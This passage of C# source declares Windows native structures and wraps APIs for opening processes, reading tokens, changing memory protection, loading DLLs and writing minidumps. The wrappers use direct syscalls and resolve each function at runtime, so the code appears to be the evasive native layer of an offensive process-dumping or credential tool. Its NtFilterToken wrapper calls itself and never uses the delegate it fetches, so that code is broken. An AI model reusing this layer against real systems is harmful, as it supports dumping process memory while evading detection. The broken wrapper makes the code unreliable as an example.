= 0x001D,\n            SystemMirrorMemoryInformation = 0x001E,\n            SystemPerformanceTraceInformation = 0x001F,\n            SystemCrashDumpInformation = 0x0020,\n            SystemExceptionInformation = 0x0021,\n            SystemCrashDumpStateInformation = 0x0022,\n            SystemKernelDebuggerInformation = 0x0023,\n            SystemContextSwitchInformation = 0x0024,\n            SystemRegistryQuotaInformation = 0x0025,\n            SystemExtendServiceTableInformation = 0x0026,\n            SystemPrioritySeperation = 0x0027,\n            SystemVerifierAddDriverInformation = 0x0028,\n            SystemVerifierRemoveDriverInformation = 0x0029,\n            SystemProcessorIdleInformation = 0x002A,\n            SystemLegacyDriverInformation = 0x002B,\n            SystemCurrentTimeZoneInformation = 0x002C,\n            SystemLookasideInformation = 0x002D,\n            SystemTimeSlipNotification = 0x002E,\n            SystemSessionCreate = 0x002F,\n            SystemSessionDetach = 0x0030,\n            SystemSessionInformation = 0x0031,\n            SystemRangeStartInformation = 0x0032,\n            SystemVerifierInformation = 0x0033,\n            SystemVerifierThunkExtend = 0x0034,\n            SystemSessionProcessInformation = 0x0035,\n            SystemLoadGdiDriverInSystemSpace = 0x0036,\n            SystemNumaProcessorMap = 0x0037,\n            SystemPrefetcherInformation = 0x0038,\n            SystemExtendedProcessInformation = 0x0039,\n            SystemRecommendedSharedDataAlignment = 0x003A,\n            SystemComPlusPackage = 0x003B,\n            SystemNumaAvailableMemory = 0x003C,\n            SystemProcessorPowerInformation = 0x003D,\n            SystemEmulationBasicInformation = 0x003E,\n            SystemEmulationProcessorInformation = 0x003F,\n            SystemExtendedHandleInformation = 0x0040,\n            SystemLostDelayedWriteInformation = 0x0041,\n            SystemBigPoolInformation = 0x0042,\n            SystemSessionPoolTagInformation = 0x0043,\n            SystemSessionMappedViewInformation = 0x0044,\n            SystemHotpatchInformation = 0x0045,\n            SystemObjectSecurityMode = 0x0046,\n            SystemWatchdogTimerHandler = 0x0047,\n            SystemWatchdogTimerInformation = 0x0048,\n            SystemLogicalProcessorInformation = 0x0049,\n            SystemWow64SharedInformationObsolete = 0x004A,\n            SystemRegisterFirmwareTableInformationHandler = 0x004B,\n            SystemFirmwareTableInformation = 0x004C,\n            SystemModuleInformationEx = 0x004D,\n            SystemVerifierTriageInformation = 0x004E,\n            SystemSuperfetchInformation = 0x004F,\n            SystemMemoryListInformation = 0x0050,\n            SystemFileCacheInformationEx = 0x0051,\n            SystemThreadPriorityClientIdInformation = 0x0052,\n            SystemProcessorIdleCycleTimeInformation = 0x0053,\n            SystemVerifierCancellationInformation = 0x0054,\n            SystemProcessorPowerInformationEx = 0x0055,\n            SystemRefTraceInformation = 0x0056,\n            SystemSpecialPoolInformation = 0x0057,\n            SystemProcessIdInformation = 0x0058,\n            SystemErrorPortInformation = 0x0059,\n            SystemBootEnvironmentInformation = 0x005A,\n            SystemHypervisorInformation = 0x005B,\n            SystemVerifierInformationEx = 0x005C,\n            SystemTimeZoneInformation = 0x005D,\n            SystemImageFileExecutionOptionsInformation = 0x005E,\n            SystemCoverageInformation = 0x005F,\n            SystemPrefetchPatchInformation = 0x0060,\n            SystemVerifierFaultsInformation = 0x0061,\n            SystemSystemPartitionInformation = 0x0062,\n            SystemSystemDiskInformation = 0x0063,\n            SystemProcessorPerformanceDistribution = 0x0064,\n            SystemNumaProximityNodeInformation = 0x0065,\n            SystemDynamicTimeZoneInformation = 0x0066,\n            SystemCodeIntegrityInformation = 0x0067,\n            SystemProcessorMicrocodeUpdateInformation = 0x0068,\n            SystemProcessorBrandString = 0x0069,\n            SystemVirtualAddressInformation = 0x006A,\n            SystemLogicalProcessorAndGroupInformation = 0x006B,\n            SystemProcessorCycleTimeInformation = 0x006C,\n            SystemStoreInformation = 0x006D,\n            SystemRegistryAppendString = 0x006E,\n            SystemAitSamplingValue = 0x006F,\n            SystemVhdBootInformation = 0x0070,\n            SystemCpuQuotaInformation = 0x0071,\n            SystemNativeBasicInformation = 0x0072,\n            SystemErrorPortTimeouts = 0x0073,\n            SystemLowPriorityIoInformation = 0x0074,\n            SystemBootEntropyInformation = 0x0075,\n            SystemVerifierCountersInformation = 0x0076,\n            SystemPagedPoolInformationEx = 0x0077,\n            SystemSystemPtesInformationEx = 0x0078,\n            SystemNodeDistanceInformation = 0x0079,\n            SystemAcpiAuditInformation = 0x007A,\n            SystemBasicPerformanceInformation = 0x007B,\n            SystemQueryPerformanceCounterInformation = 0x007C,\n            SystemSessionBigPoolInformation = 0x007D,\n            SystemBootGraphicsInformation = 0x007E,\n            SystemScrubPhysicalMemoryInformation = 0x007F,\n            SystemBadPageInformation = 0x0080,\n            SystemProcessorProfileControlArea = 0x0081,\n            SystemCombinePhysicalMemoryInformation = 0x0082,\n            SystemEntropyInterruptTimingInformation = 0x0083,\n            SystemConsoleInformation = 0x0084,\n            SystemPlatformBinaryInformation = 0x0085,\n            SystemThrottleNotificationInformation = 0x0086,\n            SystemHypervisorProcessorCountInformation = 0x0087,\n            SystemDeviceDataInformation = 0x0088,\n            SystemDeviceDataEnumerationInformation = 0x0089,\n            SystemMemoryTopologyInformation = 0x008A,\n            SystemMemoryChannelInformation = 0x008B,\n            SystemBootLogoInformation = 0x008C,\n            SystemProcessorPerformanceInformationEx = 0x008D,\n            SystemSpare0 = 0x008E,\n            SystemSecureBootPolicyInformation = 0x008F,\n            SystemPageFileInformationEx = 0x0090,\n            SystemSecureBootInformation = 0x0091,\n            SystemEntropyInterruptTimingRawInformation = 0x0092,\n            SystemPortableWorkspaceEfiLauncherInformation = 0x0093,\n            SystemFullProcessInformation = 0x0094,\n            MaxSystemInfoClass = 0x0095\n        }\n\n        public struct TOKEN_ELEVATION {\n            public int TokenIsElevated;\n        }\n\n        public enum TOKEN_INFORMATION_CLASS\n        {\n            TokenUser = 1,\n            TokenGroups,\n            TokenPrivileges,\n            TokenOwner,\n            TokenPrimaryGroup,\n            TokenDefaultDacl,\n            TokenSource,\n            TokenType,\n            TokenImpersonationLevel,\n            TokenStatistics,\n            TokenRestrictedSids,\n            TokenSessionId,\n            TokenGroupsAndPrivileges,\n            TokenSessionReference,\n            TokenSandBoxInert,\n            TokenAuditPolicy,\n            TokenOrigin,\n            TokenElevationType,\n            TokenLinkedToken,\n            TokenElevation,\n            TokenHasRestrictions,\n            TokenAccessInformation,\n            TokenVirtualizationAllowed,\n            TokenVirtualizationEnabled,\n            TokenIntegrityLevel,\n            TokenUIAccess,\n            TokenMandatoryPolicy,\n            TokenLogonSid,\n            TokenIsAppContainer,\n            TokenCapabilities,\n            TokenAppContainerSid,\n            TokenAppContainerNumber,\n            TokenUserClaimAttributes,\n            TokenDeviceClaimAttributes,\n            TokenRestrictedUserClaimAttributes,\n            TokenRestrictedDeviceClaimAttributes,\n            TokenDeviceGroups,\n            TokenRestrictedDeviceGroups,\n            TokenSecurityAttributes,\n            TokenIsRestricted,\n            MaxTokenInfoClass\n        }\n        \n        public enum TOKEN_ELEVATION_TYPE\n        {\n            TokenElevationTypeDefault = 1,\n            TokenElevationTypeFull,\n            TokenElevationTypeLimited\n        }\n\n        public enum PSS_CAPTURE_FLAGS {\n            PSS_CAPTURE_NONE,\n            PSS_CAPTURE_VA_CLONE,\n            PSS_CAPTURE_RESERVED_00000002,\n            PSS_CAPTURE_HANDLES,\n            PSS_CAPTURE_HANDLE_NAME_INFORMATION,\n            PSS_CAPTURE_HANDLE_BASIC_INFORMATION,\n            PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION,\n            PSS_CAPTURE_HANDLE_TRACE,\n            PSS_CAPTURE_THREADS,\n            PSS_CAPTURE_THREAD_CONTEXT,\n            PSS_CAPTURE_THREAD_CONTEXT_EXTENDED,\n            PSS_CAPTURE_RESERVED_00000400,\n            PSS_CAPTURE_VA_SPACE,\n            PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION,\n            PSS_CAPTURE_IPT_TRACE,\n            PSS_CREATE_BREAKAWAY_OPTIONAL,\n            PSS_CREATE_BREAKAWAY,\n            PSS_CREATE_FORCE_BREAKAWAY,\n            PSS_CREATE_USE_VM_ALLOCATIONS,\n            PSS_CREATE_MEASURE_PERFORMANCE,\n            PSS_CREATE_RELEASE_SECTION\n        }\n\n        public enum MINIDUMP_CALLBACK_TYPE : uint\n        {\n            ModuleCallback,\n            ThreadCallback,\n            ThreadExCallback,\n            IncludeThreadCallback,\n            IncludeModuleCallback,\n            MemoryCallback,\n            CancelCallback,\n            WriteKernelMinidumpCallback,\n            KernelMinidumpStatusCallback,\n            RemoveMemoryCallback,\n            IncludeVmRegionCallback,\n            IoStartCallback,\n            IoWriteAllCallback,\n            IoFinishCallback,\n            ReadMemoryFailureCallback,\n            SecondaryFlagsCallback,\n            IsProcessSnapshotCallback,\n            VmStartCallback,\n            VmQueryCallback,\n            VmPreReadCallback,\n            VmPostReadCallback\n        }\n\n        [StructLayout(LayoutKind.Sequential, Pack = 4)]\n        public unsafe struct MINIDUMP_THREAD_CALLBACK\n        {\n            public uint ThreadId;\n            public IntPtr ThreadHandle;\n            public fixed byte Context[1232];\n            public uint SizeOfContext;\n            public ulong StackBase;\n            public ulong StackEnd;\n        }\n\n        [StructLayout(LayoutKind.Sequential, Pack = 4)]\n        public struct MINIDUMP_THREAD_EX_CALLBACK\n        {\n            public MINIDUMP_THREAD_CALLBACK BasePart;\n            public ulong BackingStoreBase;\n            public ulong BackingStoreEnd;\n        }\n\n        enum VS_FIXEDFILEINFO_FileFlags : uint\n        {\n            VS_FF_DEBUG = 0x00000001,\n            VS_FF_INFOINFERRED = 0x00000010,\n            VS_FF_PATCHED = 0x00000004,\n            VS_FF_PRERELEASE = 0x00000002,\n            VS_FF_PRIVATEBUILD = 0x00000008,\n            VS_FF_SPECIALBUILD = 0x00000020\n        }\n\n        enum VS_FIXEDFILEINFO_FileOSFlags : uint\n        {\n            VOS_DOS = 0x00010000,\n            VOS_NT = 0x00040000,\n            VOS__WINDOWS16 = 0x00000001,\n            VOS__WINDOWS32 = 0x00000004,\n            VOS_OS216 = 0x00020000,\n            VOS_OS232 = 0x00030000,\n            VOS__PM16 = 0x00000002,\n            VOS__PM32 = 0x00000003,\n            VOS_UNKNOWN = 0x00000000\n        }\n\n        enum VS_FIXEDFILEINFO_FileTypeFlags : uint\n        {\n            VFT_APP = 0x00000001,\n            VFT_DLL = 0x00000002,\n            VFT_DRV = 0x00000003,\n            VFT_FONT = 0x00000004,\n            VFT_STATIC_LIB = 0x00000007,\n            VFT_UNKNOWN = 0x00000000,\n            VFT_VXD = 0x00000005\n        }\n\n        enum VS_FIXEFILEINFO_FileSubTypeFlags : uint\n        {\n            // If the FileType is VFT_DRV\n            VFT2_DRV_COMM = 0x0000000A,\n            VFT2_DRV_DISPLAY = 0x00000004,\n            VFT2_DRV_INSTALLABLE = 0x00000008,\n            VFT2_DRV_KEYBOARD = 0x00000002,\n            VFT2_DRV_LANGUAGE = 0x00000003,\n            VFT2_DRV_MOUSE = 0x00000005,\n            VFT2_DRV_NETWORK = 0x00000006,\n            VFT2_DRV_PRINTER = 0x00000001,\n            VFT2_DRV_SOUND = 0x00000009,\n            VFT2_DRV_SYSTEM = 0x00000007,\n            VFT2_DRV_VERSIONED_PRINTER = 0x0000000C,\n\n            // If the FileType is VFT_FONT\n            VFT2_FONT_RASTER = 0x00000001,\n            VFT2_FONT_TRUETYPE = 0x00000003,\n            VFT2_FONT_VECTOR = 0x00000002,\n\n            VFT2_UNKNOWN = 0x00000000\n        }\n\n        [StructLayout(LayoutKind.Sequential, Pack = 4)]\n        public struct VS_FIXEDFILEINFO\n        {\n            public uint dwSignature;\n            public uint dwStrucVersion;\n            public uint dwFileVersionMS;\n            public uint dwFileVersionLS;\n            public uint dwProductVersionMS;\n            public uint dwProductVersionLS;\n            public uint dwFileFlagsMask;\n            public uint dwFileFlags;\n            public uint dwFileOS;\n            public uint dwFileType;\n            public uint dwFileSubtype;\n            public uint dwFileDateMS;\n            public uint dwFileDateLS;\n        }\n\n        [StructLayout(LayoutKind.Sequential, Pack = 4)]\n        public struct MINIDUMP_MODULE_CALLBACK\n        {\n            public IntPtr FullPath; // This is a PCWSTR\n            public ulong BaseOfImage;\n            public uint SizeOfImage;\n            public uint CheckSum;\n            public uint TimeDateStamp;\n            public VS_FIXEDFILEINFO VersionInfo;\n            public IntPtr CvRecord;\n            public uint SizeOfCvRecord;\n            public IntPtr MiscRecord;\n            public uint SizeOfMiscRecord;\n        }\n\n        public struct MINIDUMP_INCLUDE_THREAD_CALLBACK\n        {\n            public uint ThreadId;\n        }\n\n        [StructLayout(LayoutKind.Sequential, Pack = 4)]\n        public struct MINIDUMP_INCLUDE_MODULE_CALLBACK\n        {\n            public ulong BaseOfImage;\n        }\n\n        [StructLayout(LayoutKind.Sequential, Pack = 4)]\n        public struct MINIDUMP_IO_CALLBACK\n        {\n            public IntPtr Handle;\n            public ulong Offset;\n            public IntPtr Buffer;\n            public uint BufferBytes;\n        }\n\n        [StructLayout(LayoutKind.Sequential, Pack = 4)]\n        public struct MINIDUMP_READ_MEMORY_FAILURE_CALLBACK\n        {\n            public ulong Offset;\n            public uint Bytes;\n            public int FailureStatus; // HRESULT\n        }\n\n        [Flags]\n        public enum MINIDUMP_SECONDARY_FLAGS : uint\n        {\n            MiniSecondaryWithoutPowerInfo = 0x00000001\n        }\n\n        [StructLayout(LayoutKind.Explicit)]\n        public struct MINIDUMP_CALLBACK_INPUT\n        {\n\n        const int CallbackTypeOffset = 4 + 8;\n\n            const int UnionOffset = CallbackTypeOffset + 4;\n\n            [FieldOffset(0)]\n            public uint ProcessId;\n            [FieldOffset(4)]\n            public IntPtr ProcessHandle;\n            [FieldOffset(CallbackTypeOffset)]\n            public MINIDUMP_CALLBACK_TYPE CallbackType;\n\n            [FieldOffset(UnionOffset)]\n            public int Status; // HRESULT\n            [FieldOffset(UnionOffset)]\n            public MINIDUMP_THREAD_CALLBACK Thread;\n            [FieldOffset(UnionOffset)]\n            public MINIDUMP_THREAD_EX_CALLBACK ThreadEx;\n            [FieldOffset(UnionOffset)]\n            public MINIDUMP_MODULE_CALLBACK Module;\n            [FieldOffset(UnionOffset)]\n            public MINIDUMP_INCLUDE_THREAD_CALLBACK IncludeThread;\n            [FieldOffset(UnionOffset)]\n            public MINIDUMP_INCLUDE_MODULE_CALLBACK IncludeModule;\n            [FieldOffset(UnionOffset)]\n            public MINIDUMP_IO_CALLBACK Io;\n            [FieldOffset(UnionOffset)]\n            public MINIDUMP_READ_MEMORY_FAILURE_CALLBACK ReadMemoryFailure;\n            [FieldOffset(UnionOffset)]\n            public MINIDUMP_SECONDARY_FLAGS SecondaryFlags;\n        }\n\n        public enum STATE : uint\n        {\n            MEM_COMMIT = 0x1000,\n            MEM_FREE = 0x10000,\n            MEM_RESERVE = 0x2000\n        }\n\n        public enum TYPE : uint\n        {\n            MEM_IMAGE = 0x1000000,\n            MEM_MAPPED = 0x40000,\n            MEM_PRIVATE = 0x20000\n        }\n\n        [Flags]\n        public enum PROTECT : uint\n        {\n            PAGE_EXECUTE = 0x10,\n            PAGE_EXECUTE_READ = 0x20,\n            PAGE_EXECUTE_READWRITE = 0x40,\n            PAGE_EXECUTE_WRITECOPY = 0x80,\n            PAGE_NOACCESS = 0x01,\n            PAGE_READONLY = 0x02,\n            PAGE_READWRITE = 0x04,\n            PAGE_WRITECOPY = 0x08,\n            PAGE_TARGETS_INVALID = 0x40000000,\n            PAGE_TARGETS_NO_UPDATE = 0x40000000,\n\n            PAGE_GUARD = 0x100,\n            PAGE_NOCACHE = 0x200,\n            PAGE_WRITECOMBINE = 0x400\n        }\n\n        [StructLayout(LayoutKind.Sequential, Pack = 4)]\n        public struct MINIDUMP_MEMORY_INFO\n        {\n            public ulong BaseAddress;\n            public ulong AllocationBase;\n            public uint AllocationProtect;\n            public uint __alignment1;\n            public ulong RegionSize;\n            public STATE State;\n            public PROTECT Protect;\n            public TYPE Type;\n            public uint __alignment2;\n        }\n\n        [StructLayout(LayoutKind.Sequential, Pack = 4)]\n        public struct MemoryCallbackOutput\n        {\n            public ulong MemoryBase;\n            public uint MemorySize;\n        }\n\n        [StructLayout(LayoutKind.Sequential, Pack = 4)]\n        public struct CancelCallbackOutput\n        {\n            [MarshalAs(UnmanagedType.Bool)]\n            public bool CheckCancel;\n            [MarshalAs(UnmanagedType.Bool)]\n            public bool Cancel;\n        }\n\n        [StructLayout(LayoutKind.Sequential, Pack = 4)]\n        public struct MemoryInfoCallbackOutput\n        {\n            public MINIDUMP_MEMORY_INFO VmRegion;\n            [MarshalAs(UnmanagedType.Bool)]\n            public bool Continue;\n        }\n\n        [Flags]\n        public enum THREAD_WRITE_FLAGS : uint\n        {\n            ThreadWriteThread = 0x0001,\n            ThreadWriteStack = 0x0002,\n            ThreadWriteContext = 0x0004,\n            ThreadWriteBackingStore = 0x0008,\n            ThreadWriteInstructionWindow = 0x0010,\n            ThreadWriteThreadData = 0x0020,\n            ThreadWriteThreadInfo = 0x0040\n        }\n\n        [Flags]\n        public enum MODULE_WRITE_FLAGS : uint\n        {\n            ModuleWriteModule = 0x0001,\n            ModuleWriteDataSeg = 0x0002,\n            ModuleWriteMiscRecord = 0x0004,\n            ModuleWriteCvRecord = 0x0008,\n            ModuleReferencedByMemory = 0x0010,\n            ModuleWriteTlsData = 0x0020,\n            ModuleWriteCodeSegs = 0x0040\n        }\n\n        [StructLayout(LayoutKind.Explicit, Pack = 4)]\n        public struct MINIDUMP_CALLBACK_OUTPUT\n        {\n            [FieldOffset(0)]\n            public MODULE_WRITE_FLAGS ModuleWriteFlags;\n            [FieldOffset(0)]\n            public THREAD_WRITE_FLAGS ThreadWriteFlags;\n            [FieldOffset(0)]\n            public uint SecondaryFlags;\n            [FieldOffset(0)]\n            public MemoryCallbackOutput Memory;\n            [FieldOffset(0)]\n            public CancelCallbackOutput Cancel;\n            [FieldOffset(0)]\n            public IntPtr Handle;\n            [FieldOffset(0)]\n            public MemoryInfoCallbackOutput MemoryInfo;\n            [FieldOffset(0)]\n            public int Status; // HRESULT\n        }\n\n        [UnmanagedFunctionPointer(CallingConvention.StdCall)]\n        [return: MarshalAs(UnmanagedType.Bool)]\n        public delegate bool MINIDUMP_CALLBACK_ROUTINE(\n            [In] IntPtr CallbackParam,\n            [In] ref MINIDUMP_CALLBACK_INPUT CallbackInput,\n            [In, Out] ref MINIDUMP_CALLBACK_OUTPUT CallbackOutput\n            );\n\n        public struct MINIDUMP_CALLBACK_INFORMATION\n        {\n            public MINIDUMP_CALLBACK_ROUTINE CallbackRoutine;\n            public IntPtr CallbackParam;\n        }\n\n        public enum CONTEXT_FLAGS : uint\n        {\n            CONTEXT_i386 = 0x10000,\n            CONTEXT_i486 = 0x10000,   //  same as i386\n            CONTEXT_CONTROL = CONTEXT_i386 | 0x01, // SS:SP, CS:IP, FLAGS, BP\n            CONTEXT_INTEGER = CONTEXT_i386 | 0x02, // AX, BX, CX, DX, SI, DI\n            CONTEXT_SEGMENTS = CONTEXT_i386 | 0x04, // DS, ES, FS, GS\n            CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08, // 387 state\n            CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10, // DB 0-3,6,7\n            CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20, // cpu specific extensions\n            CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS,\n            CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct M128A\n        {\n            public ulong High;\n            public long Low;\n\n            public override string ToString()\n            {\n                return string.Format(\"High:{0}, Low:{1}\", this.High, this.Low);\n            }\n        }\n\n        /// <summary>\n        /// x64\n        /// </summary>\n        [StructLayout(LayoutKind.Sequential, Pack = 16)]\n        public struct XSAVE_FORMAT64\n        {\n            public ushort ControlWord;\n            public ushort StatusWord;\n            public byte TagWord;\n            public byte Reserved1;\n            public ushort ErrorOpcode;\n            public uint ErrorOffset;\n            public ushort ErrorSelector;\n            public ushort Reserved2;\n            public uint DataOffset;\n            public ushort DataSelector;\n            public ushort Reserved3;\n            public uint MxCsr;\n            public uint MxCsr_Mask;\n\n            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]\n            public M128A[] FloatRegisters;\n\n            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]\n            public M128A[] XmmRegisters;\n\n            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]\n            public byte[] Reserved4;\n        }\n\n        \n\n        /// <summary>\n        /// x64\n        /// </summary>\n        [StructLayout(LayoutKind.Sequential, Pack = 16)]\n        public struct CONTEXT\n        {\n            public ulong P1Home;\n            public ulong P2Home;\n            public ulong P3Home;\n            public ulong P4Home;\n            public ulong P5Home;\n            public ulong P6Home;\n\n            public CONTEXT_FLAGS ContextFlags;\n            public uint MxCsr;\n\n            public ushort SegCs;\n            public ushort SegDs;\n            public ushort SegEs;\n            public ushort SegFs;\n            public ushort SegGs;\n            public ushort SegSs;\n            public uint EFlags;\n\n            public ulong Dr0;\n            public ulong Dr1;\n            public ulong Dr2;\n            public ulong Dr3;\n            public ulong Dr6;\n            public ulong Dr7;\n\n            public ulong Rax;\n            public ulong Rcx;\n            public ulong Rdx;\n            public ulong Rbx;\n            public ulong Rsp;\n            public ulong Rbp;\n            public ulong Rsi;\n            public ulong Rdi;\n            public ulong R8;\n            public ulong R9;\n            public ulong R10;\n            public ulong R11;\n            public ulong R12;\n            public ulong R13;\n            public ulong R14;\n            public ulong R15;\n            public ulong Rip;\n\n            public XSAVE_FORMAT64 DUMMYUNIONNAME;\n\n            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]\n            public M128A[] VectorRegister;\n            public ulong VectorControl;\n\n            public ulong DebugControl;\n            public ulong LastBranchToRip;\n            public ulong LastBranchFromRip;\n            public ulong LastExceptionToRip;\n            public ulong LastExceptionFromRip;\n        }\n\n\n        public static IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId)\n        {\n            Natives.CLIENT_ID clientid = new Natives.CLIENT_ID();\n            clientid.UniqueProcess = (IntPtr)processId;\n            clientid.UniqueThread = IntPtr.Zero;\n\n            IntPtr hProcess = IntPtr.Zero;\n\n            Natives.OBJECT_ATTRIBUTES objAttribute = new Natives.OBJECT_ATTRIBUTES();\n\n            NTSTATUS res = NativeSysCall.ZwOpenProcess10(ref hProcess, processAccess, objAttribute, ref clientid);\n\n            return hProcess;\n        }\n\n        private static IntPtr GetNtDll()\n        {\n\n            return LoadLibrary(\"ntdll.dll\");\n\n        }\n\n        \n        public static int NtFilterToken(IntPtr TokenHandle, uint Flags, IntPtr SidsToDisable, IntPtr PrivilegesToDelete, IntPtr RestrictedSids, ref IntPtr hToken)\n        {\n            IntPtr proc = GetProcAddress(GetNtDll(), \"NtFilterToken\");\n            NativeSysCall.Delegates.NtFilterToken NtSetInformationToken = (NativeSysCall.Delegates.NtFilterToken)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.NtFilterToken));\n            return NtFilterToken(TokenHandle, Flags, SidsToDisable, PrivilegesToDelete, RestrictedSids, ref hToken);\n        }\n        \n        private static IntPtr GetKernel32()\n        {\n\n            return LoadLibrary(\"Kernel32.dll\");\n\n        }\n\n        private static IntPtr GetKernelbase()\n        {\n\n            return LoadLibrary(\"Kernelbase.dll\");\n\n        }\n\n        private static IntPtr GetAdvapi32()\n        {\n\n            return LoadLibrary(\"Advapi32.dll\");\n\n        }\n\n        private static IntPtr GetDbgcore()\n        {\n\n            return LoadLibrary(\"dbgcore.dll\");\n\n        }\n\n        public static IntPtr GetCurrentProcess()\n        {\n            IntPtr proc = GetProcAddress(GetKernel32(), \"GetCurrentProcess\");\n            NativeSysCall.Delegates.GetCurrentProcess GetCurrentProcess = (NativeSysCall.Delegates.GetCurrentProcess)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.GetCurrentProcess));\n            return GetCurrentProcess();\n        }\n\n        public static bool CloseHandle(IntPtr handle)\n        {\n            IntPtr proc = GetProcAddress(GetKernel32(), \"CloseHandle\");\n            NativeSysCall.Delegates.CloseHandle CloseHandle = (NativeSysCall.Delegates.CloseHandle)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.CloseHandle));\n            return CloseHandle(handle);\n        }\n\n        public static bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize)\n        {\n            IntPtr proc = GetProcAddress(GetKernelbase(), \"UpdateProcThreadAttribute\");\n            NativeSysCall.Delegates.UpdateProcThreadAttribute UpdateProcThreadAttribute = (NativeSysCall.Delegates.UpdateProcThreadAttribute)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.UpdateProcThreadAttribute));\n            return UpdateProcThreadAttribute(lpAttributeList, dwFlags, Attribute, lpValue, cbSize, lpPreviousValue, lpReturnSize);\n        }\n\n        public static bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize)\n        {\n            IntPtr proc = GetProcAddress(GetKernelbase(), \"InitializeProcThreadAttributeList\");\n            NativeSysCall.Delegates.InitializeProcThreadAttributeList InitializeProcThreadAttributeList = (NativeSysCall.Delegates.InitializeProcThreadAttributeList)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.InitializeProcThreadAttributeList));\n            return InitializeProcThreadAttributeList(lpAttributeList, dwAttributeCount, dwFlags, ref lpSize);\n        }\n\n        public static bool RtlGetVersion(ref OSVERSIONINFOEXW lpVersionInformation)\n        {\n            IntPtr proc = GetProcAddress(GetNtDll(), \"RtlGetVersion\");\n            NativeSysCall.Delegates.RtlGetVersion RtlGetVersion = (NativeSysCall.Delegates.RtlGetVersion)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.RtlGetVersion));\n            return RtlGetVersion(ref lpVersionInformation);\n        }\n\n        public static bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect)\n        {\n            IntPtr proc = GetProcAddress(GetKernelbase(), \"VirtualProtect\");\n            NativeSysCall.Delegates.VirtualProtect VirtualProtect = (NativeSysCall.Delegates.VirtualProtect)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.VirtualProtect));\n            return VirtualProtect(lpAddress, dwSize, flNewProtect, out lpflOldProtect);\n        }\n\n        public static bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint newprotect, out uint oldprotect)\n        {\n            IntPtr proc = GetProcAddress(GetKernelbase(), \"VirtualProtectEx\");\n            NativeSysCall.Delegates.VirtualProtectEx VirtualProtectEx = (NativeSysCall.Delegates.VirtualProtectEx)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.VirtualProtectEx));\n            return VirtualProtectEx(hProcess, lpAddress, dwSize, newprotect, out oldprotect);\n        }\n\n        public static UInt32 LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Natives.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle)\n        {\n            IntPtr proc = GetProcAddress(GetNtDll(), \"LdrLoadDll\");\n            NativeSysCall.Delegates.LdrLoadDll LdrLoadDll = (NativeSysCall.Delegates.LdrLoadDll)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.LdrLoadDll));\n            return (uint)LdrLoadDll(PathToFile, dwFlags, ref ModuleFileName, ref ModuleHandle);\n        }\n\n        public static void RtlInitUnicodeString(ref Natives.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)\n        {\n            IntPtr proc = GetProcAddress(GetNtDll(), \"RtlInitUnicodeString\");\n            NativeSysCall.Delegates.RtlInitUnicodeString RtlInitUnicodeString = (NativeSysCall.Delegates.RtlInitUnicodeString)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.RtlInitUnicodeString));\n            RtlInitUnicodeString(ref DestinationString, SourceString);\n        }\n\n        public static  bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength)\n        {\n            IntPtr proc = GetProcAddress(GetKernelbase(), \"GetTokenInformation\");\n            NativeSysCall.Delegates.GetTokenInformation GetTokenInformation = (NativeSysCall.Delegates.GetTokenInformation)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.GetTokenInformation));\n            return GetTokenInformation( TokenHandle,  TokenInformationClass,  TokenInformation,  TokenInformationLength, out  ReturnLength);\n        }\n\n        public static bool OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken)\n        {\n            IntPtr proc = GetProcAddress(GetKernelbase(), \"OpenProcessToken\");\n            NativeSysCall.Delegates.OpenProcessToken OpenProcessToken = (NativeSysCall.Delegates.OpenProcessToken)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.OpenProcessToken));\n            return OpenProcessToken( hProcess,  dwDesiredAccess, out  hToken);\n        }\n\n        public static bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, Microsoft.Win32.SafeHandles.SafeFileHandle hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam)\n        {\n            IntPtr proc = GetProcAddress(GetDbgcore(), \"MiniDumpWriteDump\");\n            